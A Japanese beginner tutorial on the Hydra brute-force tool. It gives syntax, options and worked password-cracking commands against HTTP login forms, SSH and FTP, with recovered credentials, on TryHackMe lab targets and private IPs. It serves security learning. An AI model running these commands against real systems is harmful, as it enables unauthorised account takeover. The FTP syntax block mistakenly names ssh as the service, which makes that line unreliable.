【ハッキング入門】Hydraの使い方

# はじめに

:::note alert
必ず許可された環境でのみ実行してください。
:::


# Hydraとは?

ブルートフォースでパスワードをクラッキングできるツールです。
Kaliにはデフォルトでインストールされています。

- **GitHub**

https://github.com/vanhauser-thc/thc-hydra

# Hydraの使い方

多数のプロトコルに対応しているのが特徴です。

**サポートするプロトコル一覧**

> Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
>> [Kali Tool Documentation: Hydra](https://www.kali.org/tools/hydra/)より

## 基本構文

Hydraの基本的な構文を紹介します。

```
hydra [オプション] [ターゲット] [サービス]
```

:::note info
ターゲットの指定に関しては下記のようにすることもできます。

```
[サービス]://[ターゲット]
```

**例**

```
ssh://192.168.1.100
```
:::

## 基本オプション

- **`-l`**
    - ログイン用のユーザー名を指定します
- **`-L`**
    - ユーザー名のリストファイルを指定します
- **`-p`**
    - ログイン用のパスワードを指定します
- **`-P`**
    - パスワードのリストファイルを指定します
- **`-f`**
    - ログイン/パスワードのペアが見つかったら終了します
- **`-t`**
    - 同時に実行するスレッド数を指定
    - デフォルトは16です
- **`-v`**
    - 詳細な出力を表示

## パスワードクラッキング

主要なプロトコルに対する攻撃例を紹介します。

### HTTP POST

TryHackMeのHydraルームを利用して、HTTPのPOSTリクエストでログインする場合のパスワードクラッキングを試みます。

#### 構文

構文は下記の通りです。

```
hydra <username> <wordlist> <target ip> http-post-form "<path>:<login_credentials>:F=<invalid_response>"
```

#### オプション

POST送信をする際に必要なオプションを紹介します。

- **`http-post-form`**
    - フォームのメソッドがPOSTであると指定します
- **`<path>`**
    - ログインフォームのURLを指定します
- **`<login_credentials>`**
    - 送信するPOSTボディのパラメータを指定します
    - ユーザー名は`^USER^`と指定します
    - パスワードは`^PASS^`と指定します
- **`<invalid_response>`**
    - ログインが失敗したレスポンスの一部を指定します
    - `F=`なしで指定することもできます

#### 実行

ログインフォームがあります。

![login form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cedf8078-c058-1444-ae0d-f939327fe2af.png)

テストリクエストを送信し、攻撃に必要なパラメータを取得します。
前提として、ユーザー名が`molly`だと判明しています。

![login post body.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/585746b8-0812-f3b7-6a71-7f944643908b.png)

bodyのパラメータと認証に失敗した場合のメッセージを取得できました。
得られた情報を使用して攻撃を実行します。

```
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect" -V
```

パスワードを特定できました。

```
[80][http-post-form] host: 10.10.78.255   login: molly   password: sunshine
```

### SSH

SSHに対するパスワードクラックを試みます。

#### 構文

構文は下記の通りです。

```
hydra -l <username> -P <full path to pass> <target ip> ssh
```

#### 実行

前提としてユーザー名は`molly`であると判明しています。
攻撃を実行します。

```
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 ssh -t 4
```

パスワードを特定できました。

```
[22][ssh] host: 10.10.78.255   login: molly   password: butterfly
```

### FTP

FTPのパスワードクラッキングを試みます。

#### 構文

```
hydra -l <username> -P <full path to pass> <target ip> ssh
```

#### 実行

前提としてユーザー名は`ftp-user`であると判明しています。
攻撃を実行します。

```
$ hydra -l ftp-user -P /usr/share/wordlists/rockyou.txt 192.168.178.16 ftp -t 30
```

パスワードを特定できました。

```
[21][ftp] host: 192.168.178.16   login: ftp-user   password: Password
```

# おすすめの教材

TryHackMeの「hydra」ルームが無料で出来るのでお勧めです。

https://tryhackme.com/r/room/hydra

# 参考サイト

https://github.com/vanhauser-thc/thc-hydra

https://www.kali.org/tools/hydra/